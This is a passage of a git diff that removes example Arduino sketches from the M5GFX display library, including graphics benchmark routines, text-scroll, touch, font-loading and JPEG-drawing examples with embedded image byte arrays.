0x17, 0x04, 0x1a, 0x19, 0x6b, 0x19, 0x1a, 0x04, 0x17, - 0x03, 0x1b, 0x19, 0x6b, 0x19, 0x1b, 0x03, 0x17, 0x02, 0x1d, 0x18, 0x6b, 0x18, 0x1d, 0x02, 0x37, - 0x17, 0x6b, 0x17, 0x58, 0x16, 0x6b, 0x16, 0x5a, 0x14, 0x6d, 0x14, 0x5c, 0x13, 0x6d, 0x13, 0x5e, - 0x12, 0x6d, 0x12, 0x60, 0x10, 0x6f, 0x10, 0x61, 0x10, 0x6f, 0x10, 0x60, 0x11, 0x6f, 0x11, 0x5e, - 0x11, 0x71, 0x11, 0x5c, 0x12, 0x71, 0x12, 0x5a, 0x12, 0x73, 0x12, 0x58, 0x12, 0x75, 0x12, 0x56, - 0x13, 0x75, 0x13, 0x54, 0x13, 0x77, 0x13, 0x51, 0x14, 0x79, 0x14, 0x4e, 0x14, 0x7b, 0x14, 0x4c, - 0x14, 0x7d, 0x14, 0x4a, 0x14, 0x7f, 0x14, 0x48, 0x13, 0x80, 0x83, 0x13, 0x46, 0x13, 0x80, 0x85, - 0x13, 0x44, 0x12, 0x80, 0x89, 0x12, 0x42, 0x11, 0x80, 0x8d, 0x11, 0x40, 0x0f, 0x80, 0x93, 0x0f, - 0x45, 0x04, 0x80, 0x9d, 0x04, 0xb9, 0x56, - }; - - tft.fillScreen(TFT_BLACK); - - uint32_t start = micros_start(); - - for (int i = 0; i < 0x10; i++) - { - tft.setAddrWindow(0, 0, 240, 320); - - uint16_t cnt = 0; - uint16_t color = tft.color565((i << 4) | i, (i << 4) | i, (i << 4) | i); - uint16_t curcolor = 0; - - const uint8_t *cmp = &HaD_240x320[0]; - - tft.startWrite(); - while (cmp < &HaD_240x320[sizeof(HaD_240x320)]) - { - cnt = pgm_read_byte(cmp++); - if (cnt & 0x80) cnt = ((cnt & 0x7f) << 8) | pgm_read_byte(cmp++); - tft.pushBlock(curcolor, cnt); // PDQ_GFX has count - curcolor ^= color; - } - tft.endWrite(); - } - - uint32_t t = micros() - start; - - tft.setTextColor(TFT_YELLOW); - tft.setTextSize(2); - tft.setCursor(8, 285); - tft.print(F("http://hackaday.io/")); - tft.setCursor(96, 302); - tft.print(F("Xark")); - - delay(3 * 1000L); - - return t; -} - -uint32_t testFillScreen() -{ - uint32_t start = micros_start(); - // Shortened this tedious test! - tft.fillScreen(TFT_WHITE); - tft.fillScreen(TFT_RED); - tft.fillScreen(TFT_GREEN); - tft.fillScreen(TFT_BLUE); - tft.fillScreen(TFT_BLACK); - - return (micros() - start)/5; -} - -uint32_t testText() -{ - tft.fillScreen(TFT_BLACK); - uint32_t start = micros_start(); - tft.setCursor(0, 0); - tft.setTextColor(TFT_WHITE,TFT_BLACK); tft.setTextSize(1); - tft.println(F("Hello World!")); - tft.setTextSize(2); - tft.setTextColor(tft.color565(0xff, 0x00, 0x00)); - tft.print(F("RED ")); - tft.setTextColor(tft.color565(0x00, 0xff, 0x00)); - tft.print(F("GREEN ")); - tft.setTextColor(tft.color565(0x00, 0x00, 0xff)); - tft.println(F("BLUE")); - tft.setTextColor(TFT_YELLOW); tft.setTextSize(2); - tft.println(1234.56); - tft.setTextColor(TFT_RED); tft.setTextSize(3); - tft.println(0xDEADBEEF, HEX); - tft.println(); - tft.setTextColor(TFT_GREEN); - tft.setTextSize(5); - tft.println(F("Groop")); - tft.setTextSize(2); - tft.println(F("I implore thee,")); - tft.setTextColor(TFT_GREEN); - tft.setTextSize(1); - tft.println(F("my foonting turlingdromes.")); - tft.println(F("And hooptiously drangle me")); - tft.println(F("with crinkly bindlewurdles,")); - tft.println(F("Or I will rend thee")); - tft.println(F("in the gobberwarts")); - tft.println(F("with my blurglecruncheon,")); - tft.println(F("see if I don't!")); - tft.println(F("")); - tft.println(F("")); - tft.setTextColor(TFT_MAGENTA); - tft.setTextSize(6); - tft.println(F("Woot!")); - uint32_t t = micros() - start; - delay(1000); - return t; -} - -uint32_t testPixels() -{ - int32_t w = tft.width(); - int32_t h = tft.height(); - - uint32_t start = micros_start(); - tft.startWrite(); - for (uint16_t y = 0; y < h; y++) - { - for (uint16_t x = 0; x < w; x++) - { - tft.drawPixel(x, y, tft.color565(x<<3, y<<3, x*y)); - } - } - tft.endWrite(); - return micros() - start; -} - - -uint32_t testLines(uint16_t color) -{ - uint32_t start, t; - int32_t x1, y1, x2, y2; - int32_t w = tft.width(); - int32_t h = tft.height(); - - tft.fillScreen(TFT_BLACK); - - x1 = y1 = 0; - y2 = h - 1; - - start = micros_start(); - - for (x2 = 0; x2 < w; x2 += 6) - { - tft.drawLine(x1, y1, x2, y2, color); - } - - x2 = w - 1; - - for (y2 = 0; y2 < h; y2 += 6) - { - tft.drawLine(x1, y1, x2, y2, color); - } - - t = micros() - start; // fillScreen doesn't count against timing - - tft.fillScreen(TFT_BLACK); - - x1 = w - 1; - y1 = 0; - y2 = h - 1; - - start = micros_start(); - - for (x2 = 0; x2 < w; x2 += 6) - { - tft.drawLine(x1, y1, x2, y2, color); - } - - x2 = 0; - for (y2 = 0; y2 < h; y2 += 6) - { - tft.drawLine(x1, y1, x2, y2, color); - } - - t += micros() - start; - - tft.fillScreen(TFT_BLACK); - - x1 = 0; - y1 = h - 1; - y2 = 0; - - start = micros_start(); - - for (x2 = 0; x2 < w; x2 += 6) - { - tft.drawLine(x1, y1, x2, y2, color); - } - x2 = w - 1; - for (y2 = 0; y2 < h; y2 += 6) - { - tft.drawLine(x1, y1, x2, y2, color); - } - t += micros() - start; - - tft.fillScreen(TFT_BLACK); - - x1 = w - 1; - y1 = h - 1; - y2 = 0; - - start = micros_start(); - - for (x2 = 0; x2 < w; x2 += 6) - { - tft.drawLine(x1, y1, x2, y2, color); - } - - x2 = 0; - for (y2 = 0; y2 < h; y2 += 6) - { - tft.drawLine(x1, y1, x2, y2, color); - } - - t += micros() - start; - - return t; -} - -uint32_t testFastLines(uint16_t color1, uint16_t color2) -{ - uint32_t start; - int32_t x, y; - int32_t w = tft.width(); - int32_t h = tft.height(); - - tft.fillScreen(TFT_BLACK); - - start = micros_start(); - - for (y = 0; y < h; y += 5) - tft.drawFastHLine(0, y, w, color1); - for (x = 0; x < w; x += 5) - tft.drawFastVLine(x, 0, h, color2); - - return micros() - start; -} - -uint32_t testRects(uint16_t color) -{ - uint32_t start; - int32_t n, i, i2; - int32_t cx = tft.width() / 2; - int32_t cy = tft.height() / 2; - - tft.fillScreen(TFT_BLACK); - n = min(tft.width(), tft.height()); - start = micros_start(); - for (i = 2; i < n; i += 6) - { - i2 = i / 2; - tft.drawRect(cx-i2, cy-i2, i, i, color); - } - - return micros() - start; -} - -uint32_t testFilledRects(uint16_t color1, uint16_t color2) -{ - uint32_t start, t = 0; - int32_t n, i, i2; - int32_t cx = tft.width() / 2 - 1; - int32_t cy = tft.height() / 2 - 1; - - tft.fillScreen(TFT_BLACK); - n = min(tft.width(), tft.height()); - for (i = n; i > 0; i -= 6) - { - i2 = i / 2; - - start = micros_start(); - - tft.fillRect(cx-i2, cy-i2, i, i, color1); - - t += micros() - start; - - // Outlines are not included in timing results - tft.drawRect(cx-i2, cy-i2, i, i, color2); - } - - return t; -} - -uint32_t testFilledCircles(uint8_t radius, uint16_t color) -{ - uint32_t start; - int32_t x, y, w = tft.width(), h = tft.height(), r2 = radius * 2; - - tft.fillScreen(TFT_BLACK); - - start = micros_start(); - - for (x = radius; x < w; x += r2) - { - for (y = radius; y < h; y += r2) - { - tft.fillCircle(x, y, radius, color); - } - } - - return micros() - start; -} - -uint32_t testCircles(uint8_t radius, uint16_t color) -{ - uint32_t start; - int32_t x, y, r2 = radius * 2; - int32_t w = tft.width() + radius; - int32_t h = tft.height() + radius; - - // Screen is not cleared for this one -- this is - // intentional and does not affect the reported time. - start = micros_start(); - - for (x = 0; x < w; x += r2) - { - for (y = 0; y < h; y += r2) - { - tft.drawCircle(x, y, radius, color); - } - } - - return micros() - start; -} - -uint32_t testTriangles() -{ - uint32_t start; - int32_t n, i; - int32_t cx = tft.width()/ 2 - 1; - int32_t cy = tft.height() / 2 - 1; - - tft.fillScreen(TFT_BLACK); - n = min(cx, cy); - - start = micros_start(); - - for (i = 0; i < n; i += 5) - { - tft.drawTriangle( - cx , cy - i, // peak - cx - i, cy + i, // bottom left - cx + i, cy + i, // bottom right - tft.color565(0, 0, i)); - } - - return micros() - start; -} - -uint32_t testFilledTriangles() -{ - uint32_t start, t = 0; - int32_t i; - int32_t cx = tft.width() / 2 - 1; - int32_t cy = tft.height() / 2 - 1; - - tft.fillScreen(TFT_BLACK); - - start = micros_start(); - - for (i = min(cx,cy); i > 10; i -= 5) { - start = micros_start(); - tft.fillTriangle(cx, cy - i, cx - i, cy + i, cx + i, cy + i, - tft.color565(0, i, i)); - t += micros() - start; - tft.drawTriangle(cx, cy - i, cx - i, cy + i, cx + i, cy + i, - tft.color565(i, i, 0)); - } - - return t; -} - -uint32_t testRoundRects() - { - uint32_t start; - int32_t w, i, i2; - int32_t cx = tft.width() / 2 - 1; - int32_t cy = tft.height() / 2 - 1; - - tft.fillScreen(TFT_BLACK); - - w = min(tft.width(), tft.height()); - - start = micros_start(); - - for (i = 0; i < w; i += 6) - { - i2 = i / 2; - tft.drawRoundRect(cx-i2, cy-i2, i, i, i/8, tft.color565(i, 0, 0)); - } - - return micros() - start; -} - -uint32_t testFilledRoundRects() -{ - uint32_t start; - int32_t i, i2; - int32_t cx = tft.width() / 2 - 1; - int32_t cy = tft.height() / 2 - 1; - - tft.fillScreen(TFT_BLACK); - - start = micros_start(); - - for (i = min(tft.width(), tft.height()); i > 20; i -= 6) - { - i2 = i / 2; - tft.fillRoundRect(cx-i2, cy-i2, i, i, i/8, tft.color565(0, i, 0)); - } - - return micros() - start; -} - -/*************************************************** - Original sketch text: - - This is an example sketch for the Adafruit 2.2" SPI display. - This library works with the Adafruit 2.2" TFT Breakout w/SD card - ----> http://www.adafruit.com/products/1480 - - Check out the links above for our tutorials and wiring diagrams - These displays use SPI to communicate, 4 or 5 pins are required to - interface (RST is optional) - Adafruit invests time and resources providing this open source code, - please support Adafruit and open-source hardware by purchasing - products from Adafruit! - - Written by Limor Fried/Ladyada for Adafruit Industries. - MIT license, all text above must be included in any redistribution - ****************************************************/ - diff --git a/components/M5GFX/examples/Basic/TextLogScroll/TextLogScroll.ino b/components/M5GFX/examples/Basic/TextLogScroll/TextLogScroll.ino deleted file mode 100644 index 49dc4c02..00000000 --- a/components/M5GFX/examples/Basic/TextLogScroll/TextLogScroll.ino +++ /dev/null @@ -1,93 +0,0 @@ - -#include -M5GFX display; - -//#include -//M5UnitOLED display; // default setting -//M5UnitOLED display ( 21, 22, 400000 ); // SDA, SCL, FREQ - -//#include -//M5UnitLCD display; // default setting -//M5UnitLCD display ( 21, 22, 400000 ); // SDA, SCL, FREQ - -//#include -//M5UnitGLASS2 display; // default setting -//M5UnitGLASS2 display ( 21, 22, 400000 ); // SDA, SCL, FREQ - -//#include -//M5AtomDisplay display; // default setting -//M5AtomDisplay display ( 320, 180 ); // width, height - -static constexpr char text0[] = "hello world"; -static constexpr char text1[] = "this"; -static constexpr char text2[] = "is"; -static constexpr char text3[] = "text"; -static constexpr char text4[] = "log"; -static constexpr char text5[] = "vertical"; -static constexpr char text6[] = "scroll"; -static constexpr char text7[] = "sample"; -static constexpr const char* text[] = { text0, text1, text2, text3, text4, text5, text6, text7 }; - -//* -/// Example of using canvas -M5Canvas canvas(&display); -void setup(void) -{ - display.begin(); - - if (display.isEPD()) - { - display.setEpdMode(epd_mode_t::epd_fastest); - display.invertDisplay(true); - display.clear(TFT_BLACK); - } - if (display.width() < display.height()) - { - display.setRotation(display.getRotation() ^ 1); - } - - canvas.setColorDepth(1); // mono color - canvas.createSprite(display.width(), display.height()); - canvas.setTextSize((float)canvas.width() / 160); - canvas.setTextScroll(true); -} - -void loop(void) -{ - static int count = 0; - - canvas.printf("%04d:%s\r\n", count, text[count & 7]); - canvas.pushSprite(0, 0); - ++count; -} - -/*/ - -/// Example without canvas -void setup(void) -{ - display.begin(); - - if (display.isEPD()) - { - display.setEpdMode(epd_mode_t::epd_fastest); - display.invertDisplay(true); - display.clear(TFT_BLACK); - } - if (display.width() < display.height()) - { - display.setRotation(display.getRotation() ^ 1); - } - - display.setTextSize((float)display.width() / 160); - display.setTextScroll(true); -} - -void loop(void) -{ - static int count = 0; - - display.printf("%04d:%s\r\n", count, text[count & 7]); - ++count; -} -//*/ \ No newline at end of file diff --git a/components/M5GFX/examples/Basic/TouchTest/TouchTest.ino b/components/M5GFX/examples/Basic/TouchTest/TouchTest.ino deleted file mode 100644 index 11c872c1..00000000 --- a/components/M5GFX/examples/Basic/TouchTest/TouchTest.ino +++ /dev/null @@ -1,73 +0,0 @@ - -#include - -M5GFX display; - -void setup(void) -{ - display.init(); - display.setFont(&fonts::Font4); - - if (!display.touch()) - { - display.setTextDatum(textdatum_t::middle_center); - display.drawString("Touch not found.", display.width() / 2, display.height() / 2); - } - - display.setEpdMode(epd_mode_t::epd_fastest); - display.startWrite(); -} - -void loop(void) -{ - static bool drawed = false; - lgfx::touch_point_t tp[3]; - - int nums = display.getTouchRaw(tp, 3); - if (nums) - { - for (int i = 0; i < nums; ++i) - { - display.setCursor(16, 16 + i * 24); - display.printf("Raw X:%03d Y:%03d", tp[i].x, tp[i].y); - } - - display.convertRawXY(tp, nums); - - for (int i = 0; i < nums; ++i) - { - display.setCursor(16, 128 + i * 24); - display.printf("Convert X:%03d Y:%03d", tp[i].x, tp[i].y); - } - display.display(); - - display.setColor(display.isEPD() ? TFT_BLACK : TFT_WHITE); - for (int i = 0; i < nums; ++i) - { - int s = tp[i].size + 3; - switch (tp[i].id) - { - case 0: - display.fillCircle(tp[i].x, tp[i].y, s); - break; - case 1: - display.drawLine(tp[i].x-s, tp[i].y-s, tp[i].x+s, tp[i].y+s); - display.drawLine(tp[i].x-s, tp[i].y+s, tp[i].x+s, tp[i].y-s); - break; - default: - display.fillTriangle(tp[i].x-s, tp[i].y +s, tp[i].x+s, tp[i].y+s, tp[i].x, tp[i].y-s); - break; - } - display.display(); - } - drawed = true; - } - else if (drawed) - { - drawed = false; - display.waitDisplay(); - display.clear(); - display.display(); - } - vTaskDelay(1); -} diff --git a/components/M5GFX/examples/Basic/VlwFont/VlwFont.ino b/components/M5GFX/examples/Basic/VlwFont/VlwFont.ino deleted file mode 100644 index b9036817..00000000 --- a/components/M5GFX/examples/Basic/VlwFont/VlwFont.ino +++ /dev/null @@ -1,55 +0,0 @@ -#include -#include - -#include - -M5GFX display; - -static constexpr const uint8_t PIN_SD_CS = GPIO_NUM_4; - -void setup(void) -{ - display.init(); - display.print("SD wait.\n"); - - SPIFFS.begin(); - - if (!display.loadFont(SPIFFS, "/font.vlw")) - { -#if defined (_SD_H_) - while (!SD.begin(PIN_SD_CS, SPI, 25000000)) - { - ESP_LOGD("debug","SD begin failed"); - delay(500); - } - if (!display.loadFont(SD, "/font.vlw")) -#endif - { - display.print("Font data not found..."); - } - } -} - -void loop(void) -{ - display.print("Hello World !"); - delay(500); -} - -#if !defined ( ARDUINO ) -extern "C" { - void loopTask(void*) - { - setup(); - for (;;) { - loop(); - } - vTaskDelete(NULL); - } - - void app_main() - { - xTaskCreatePinnedToCore(loopTask, "loopTask", 8192, NULL, 1, NULL, 1); - } -} -#endif diff --git a/components/M5GFX/examples/Basic/VlwFont/data/font.vlw b/components/M5GFX/examples/Basic/VlwFont/data/font.vlw deleted file mode 100644 index 2872fd55..00000000 Binary files a/components/M5GFX/examples/Basic/VlwFont/data/font.vlw and /dev/null differ diff --git a/components/M5GFX/examples/Basic/drawImageData/drawImageData.ino b/components/M5GFX/examples/Basic/drawImageData/drawImageData.ino deleted file mode 100644 index 482fe253..00000000 --- a/components/M5GFX/examples/Basic/drawImageData/drawImageData.ino +++ /dev/null @@ -1,1215 +0,0 @@ - -#include - -// If you want to use a set of functions to handle SD/SPIFFS/HTTP, -// please include ,, before -// #include -// #include -// #include - -#include -M5GFX display; - -//#include -//M5UnitOLED display; // default setting -//M5UnitOLED display ( 21, 22, 400000 ); // SDA, SCL, FREQ - -//#include -//M5UnitLCD display; // default setting -//M5UnitLCD display ( 21, 22, 400000 ); // SDA, SCL, FREQ - -//#include -//M5UnitGLASS2 display; // default setting -//M5UnitGLASS2 display ( 21, 22, 400000 ); // SDA, SCL, FREQ - -//#include -//M5AtomDisplay display; - -extern const uint8_t jpg[]; - -void setup() -{ -// WiFi.begin("ssid","passwd"); - - display.begin(); - - if (display.width() < display.height()) - { - display.setRotation(display.getRotation() ^ 1); - } -} - -void loop(void) -{ -// for data pointer -// display.drawJpg(data_pointer, data_length, 0, 0); -// display.drawBmp(data_pointer, data_length, 0, 0); -// display.drawPng(data_pointer, data_length, 0, 0); - -// for file -// display.drawJpgFile(SD, "/filename.jpg", 0, 0); -// display.drawBmpFile(SD, "/filename.bmp", 0, 0); -// display.drawPngFile(SD, "/filename.png", 0, 0); - -// display.drawJpgFile(SPIFFS, "/filename.jpg", 0, 0); -// display.drawBmpFile(SPIFFS, "/filename.bmp", 0, 0); -// display.drawPngFile(SPIFFS, "/filename.png", 0, 0); - -// for url -// display.drawJpgUrl("http://example.com/url.jpg", 0, 0); -// display.drawBmpUrl("http://example.com/url.bmp", 0, 0); -// display.drawPngUrl("http://example.com/url.png", 0, 0); - - - display.drawJpg(jpg, ~0u, 0, 0); - display.setTextDatum(textdatum_t::top_left); - display.drawString("x1.0 top_left", 0, 0); - delay(1000); - - - - display.drawJpg( jpg // data_pointer - , ~0u // data_length (~0u = auto) - , 0 // X position - , 0 // Y position - , display.width() // Width - , display.height() // Height - , 0 // X offset - , 0 // Y offset - , 1.0 // X magnification(default = 1.0 , 0 = fitsize , -1 = follow the Y magni) - , 1.0 // Y magnification(default = 1.0 , 0 = fitsize , -1 = follow the X magni) - , datum_t::middle_center - ); - display.setTextDatum(textdatum_t::middle_center); - display.drawString("x1.0 center", display.width()/2, display.height()/2); - delay(1000); - - - - display.drawJpg( jpg // data_pointer - , ~0u // data_length (~0u = auto) - , 0 // X position - , 0 // Y position - , display.width() // Width - , display.height() // Height - , 0 // X offset - , 0 // Y offset - , 0 // X magnification(default = 1.0 , 0 = fitsize , -1 = follow the Y magni) - , 0 // Y magnification(default = 1.0 , 0 = fitsize , -1 = follow the X magni) - , datum_t::middle_center - ); - display.drawString("fit center", display.width()/2, display.height()/2); - delay(1000); - - - - display.startWrite(); - display.fillRect(0, 0, display.width() / 2, display.height() / 2, TFT_RED); - display.drawJpg( jpg - , ~0u - , 0 - , 0 - , display.width() / 2 - , display.height() / 2 - , 0 - , 0 - , 0 - , 0 - , datum_t::middle_center - ); - - display.fillRect(display.width() / 2, 0, display.width() / 2, display.height() / 2, TFT_BLUE); - display.drawJpg( jpg - , ~0u - , display.width() / 2 - , 0 - , display.width() / 2 - , display.height() / 2 - , 0 - , 0 - , 0 - , 0 - , datum_t::middle_center - ); - - display.fillRect(0, display.height() / 2, display.width() / 2, display.height() / 2, TFT_GREEN); - display.drawJpg( jpg - , ~0u - , 0 - , display.height() / 2 - , display.width() / 2 - , display.height() / 2 - , 0 - , 0 - , 0 - , 0 - , datum_t::middle_center - ); - - display.fillRect(display.width() / 2, display.height() / 2, display.width() / 2, display.height() / 2, TFT_YELLOW); - display.drawJpg( jpg - , ~0u - , display.width() / 2 - , display.height() / 2 - , display.width() / 2 - , display.height() / 2 - , 0 - , 0 - , 0 - , 0 - , datum_t::middle_center - ); - display.endWrite(); - delay(1000); - - - - int step = display.isEPD() ? 10 : 1; - for (int i = 0; i < 100; i += step) - { - display.drawJpg( jpg - , ~0u - , 0 - , 0 - , display.width() // Width - , display.height() // Height - , 0 - , 0 - , 0.1 + (float)i / 50 - , 0.1 + (float)i / 50 - , datum_t::middle_center - ); - } - - - - display.fillScreen(TFT_BLACK); - for (int i = 0; i < 10; ++i) - { - display.startWrite(); - display.fillRect(display.width() / 4, display.height() / 4, display.width() / 2, display.height() / 2, random(65536)); - display.drawJpg( jpg - , ~0u - , display.width() / 4 - , display.height() / 4 - , display.width() / 2 - , display.height() / 2 - , random(display.width() / 2) - display.width() /4 - , random(display.height()/ 2) - display.height()/4 - , 1.0f - , 1.0f - , datum_t::middle_center - ); - display.endWrite(); - delay(1000); - } -} - - -constexpr uint8_t jpg[] = { -0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x01, 0x00, 0x01, 0x2C, -0x01, 0x2C, 0x00, 0x00, 0xFF, 0xE1, 0x00, 0x8C, 0x45, 0x78, 0x69, 0x66, 0x00, 0x00, 0x4D, 0x4D, -0x00, 0x2A, 0x00, 0x00, 0x00, 0x08, 0x00, 0x05, 0x01, 0x12, 0x00, 0x03, 0x00, 0x00, 0x00, 0x01, -0x00, 0x01, 0x00, 0x00, 0x01, 0x1A, 0x00, 0x05, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x4A, -0x01, 0x1B, 0x00, 0x05, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x52, 0x01, 0x28, 0x00, 0x03, -0x00, 0x00, 0x00, 0x01, 0x00, 0x02, 0x00, 0x00, 0x87, 0x69, 0x00, 0x04, 0x00, 0x00, 0x00, 0x01, -0x00, 0x00, 0x00, 0x5A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x7F, 0x87, 0x00, 0x00, 0x06, 0x66, -0x00, 0x07, 0x7F, 0x87, 0x00, 0x00, 0x06, 0x66, 0x00, 0x03, 0xA0, 0x01, 0x00, 0x03, 0x00, 0x00, -0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0xA0, 0x02, 0x00, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, -0x00, 0xA0, 0xA0, 0x03, 0x00, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, -0x00, 0x00, 0xFF, 0xED, 0x00, 0x38, 0x50, 0x68, 0x6F, 0x74, 0x6F, 0x73, 0x68, 0x6F, 0x70, 0x20, -0x33, 0x2E, 0x30, 0x00, 0x38, 0x42, 0x49, 0x4D, 0x04, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, -0x38, 0x42, 0x49, 0x4D, 0x04, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xD4, 0x1D, 0x8C, 0xD9, -0x8F, 0x00, 0xB2, 0x04, 0xE9, 0x80, 0x09, 0x98, 0xEC, 0xF8, 0x42, 0x7E, 0xFF, 0xDB, 0x00, 0x43, -0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, -0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, -0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, -0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, -0x01, 0xFF, 0xDB, 0x00, 0x43, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, -0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, -0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, -0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, -0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0xFF, 0xC0, 0x00, 0x11, 0x08, 0x00, 0x90, 0x00, 0xA0, 0x03, -0x01, 0x11, 0x00, 0x02, 0x11, 0x01, 0x03, 0x11, 0x01, 0xFF, 0xC4, 0x00, 0x1E, 0x00, 0x01, 0x00, -0x02, 0x03, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, -0x0A, 0x05, 0x07, 0x08, 0x06, 0x04, 0x02, 0x01, 0x03, 0xFF, 0xC4, 0x00, 0x41, 0x10, 0x00, 0x00, -0x06, 0x02, 0x02, 0x01, 0x04, 0x00, 0x04, 0x01, 0x08, 0x05, 0x0D, 0x00, 0x00, 0x00, 0x02, 0x03, -0x04, 0x05, 0x06, 0x07, 0x01, 0x08, 0x00, 0x09, 0x13, 0x11, 0x12, 0x14, 0x15, 0x0A, 0x16, 0x21, -0x22, 0x78, 0x17, 0x23, 0x31, 0x33, 0x38, 0x77, 0x91, 0xB7, 0x18, 0x24, 0x3A, 0xA1, 0xB9, 0x19, -0x25, 0x36, 0x39, 0x41, 0x42, 0x43, 0x51, 0x71, 0x76, 0x81, 0xE1, 0xF0, 0xFF, 0xC4, 0x00, 0x1D, -0x01, 0x01, 0x01, 0x00, 0x02, 0x03, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, -0x00, 0x00, 0x08, 0x06, 0x07, 0x03, 0x04, 0x05, 0x01, 0x02, 0x09, 0xFF, 0xC4, 0x00, 0x3B, 0x11, -0x00, 0x01, 0x03, 0x04, 0x01, 0x03, 0x03, 0x02, 0x04, 0x04, 0x03, 0x07, 0x05, 0x00, 0x00, 0x00, -0x02, 0x01, 0x03, 0x04, 0x00, 0x05, 0x06, 0x11, 0x12, 0x07, 0x13, 0x21, 0x08, 0x14, 0x22, 0x31, -0x41, 0x15, 0x32, 0x42, 0x51, 0x23, 0x24, 0x38, 0x75, 0x33, 0x52, 0xB6, 0x16, 0x17, 0x25, 0x54, -0x61, 0xA1, 0xF0, 0x28, 0x74, 0xA5, 0xB5, 0xD1, 0xFF, 0xDA, 0x00, 0x0C, 0x03, 0x01, 0x00, 0x02, -0x11, 0x03, 0x11, 0x00, 0x3F, 0x00, 0xBF, 0xC7, 0x14, 0xA7, 0x14, 0xA7, 0x14, 0xA7, 0x14, 0xA7, -0x14, 0xA7, 0x14, 0xA7, 0x14, 0xA7, 0x14, 0xA7, 0x14, 0xA7, 0x14, 0xA7, 0x14, 0xA7, 0x14, 0xA7, -0x14, 0xA7, 0x14, 0xA7, 0x14, 0xA7, 0x14, 0xA7, 0x14, 0xA7, 0x14, 0xA7, 0x14, 0xA7, 0x14, 0xA7, -0x14, 0xA7, 0x14, 0xA7, 0x14, 0xA7, 0x14, 0xA7, 0x14, 0xA7, 0x14, 0xA7, 0x14, 0xAF, 0xF0, 0x54, -0xA9, 0x32, 0x14, 0xCA, 0x16, 0xAD, 0x50, 0x42, 0x44, 0x69, 0x08, 0x35, 0x52, 0xB5, 0x6A, 0x8E, -0x2D, 0x3A, 0x64, 0xA9, 0x88, 0x2C, 0x46, 0x9E, 0xA1, 0x41, 0xE6, 0x88, 0x25, 0x12, 0x41, 0x25, -0x04, 0x46, 0x1A, 0x69, 0x82, 0x09, 0x65, 0x96, 0x11, 0x0C, 0x62, 0xC0, 0x43, 0x9C, 0x87, 0xEC, -0x00, 0x4E, 0x10, 0x80, 0x09, 0x19, 0x99, 0x20, 0x00, 0x02, 0x29, 0x11, 0x91, 0x2E, 0x84, 0x44, -0x53, 0x6A, 0x44, 0x4A, 0xA8, 0x88, 0x88, 0x9B, 0x55, 0x5D, 0x26, 0xFC, 0x57, 0xD4, 0xCC, 0x1B, -0x03, 0x71, 0xC3, 0x16, 0xDB, 0x01, 0x23, 0x33, 0x32, 0x41, 0x00, 0x01, 0x45, 0x52, 0x33, 0x22, -0x54, 0x11, 0x11, 0x44, 0x55, 0x22, 0x55, 0x44, 0x44, 0x45, 0x55, 0x54, 0xD6, 0xEA, 0x13, 0x77, -0x0F, 0xBD, 0xED, 0x40, 0xD6, 0xDC, 0xBA, 0x45, 0x6A, 0xF5, 0xC6, 0x6C, 0xC5, 0xA0, 0x8F, 0xCC, -0x9B, 0x0D, 0x35, 0xDB, 0x9A, 0x62, 0x6B, 0xC6, 0xB5, 0xE5, 0xFB, 0x81, 0x82, 0xDF, 0xAC, 0xE1, -0x12, 0xB9, 0xA9, 0x40, 0x42, 0x3C, 0x67, 0x02, 0x2A, 0x16, 0x86, 0x60, 0x70, 0x4D, 0x00, 0x92, -0xAD, 0xCB, 0x68, 0xF3, 0x93, 0x01, 0xBC, 0xB0, 0xCE, 0x80, 0xE6, 0x59, 0x37, 0x6A, 0x5D, 0xD5, -0xB4, 0xC5, 0xED, 0x47, 0xC4, 0xBB, 0xD7, 0x26, 0x8C, 0xAE, 0x2E, 0xB6, 0xBF, 0x78, 0xF6, 0xA4, -0x36, 0x5E, 0x15, 0x54, 0xF3, 0xCA, 0x73, 0x90, 0xC7, 0x4A, 0x84, 0xDF, 0x71, 0x3C, 0x14, 0xF3, -0x9E, 0x7A, 0x94, 0xC1, 0x31, 0x2E, 0xF4, 0x2B, 0x33, 0x8B, 0x97, 0xDE, 0x5B, 0xE4, 0x1D, 0x8B, -0x53, 0xC0, 0x36, 0xA6, 0x5D, 0x4F, 0xB4, 0x9B, 0xC2, 0x8B, 0x8C, 0x1A, 0x6F, 0xC2, 0xA5, 0xBD, -0xB9, 0xE4, 0x84, 0x9C, 0x1C, 0x46, 0x57, 0xC8, 0xC6, 0x51, 0x10, 0x4E, 0xE9, 0xBB, 0x6D, 0x18, -0x1E, 0x65, 0xCF, 0xE6, 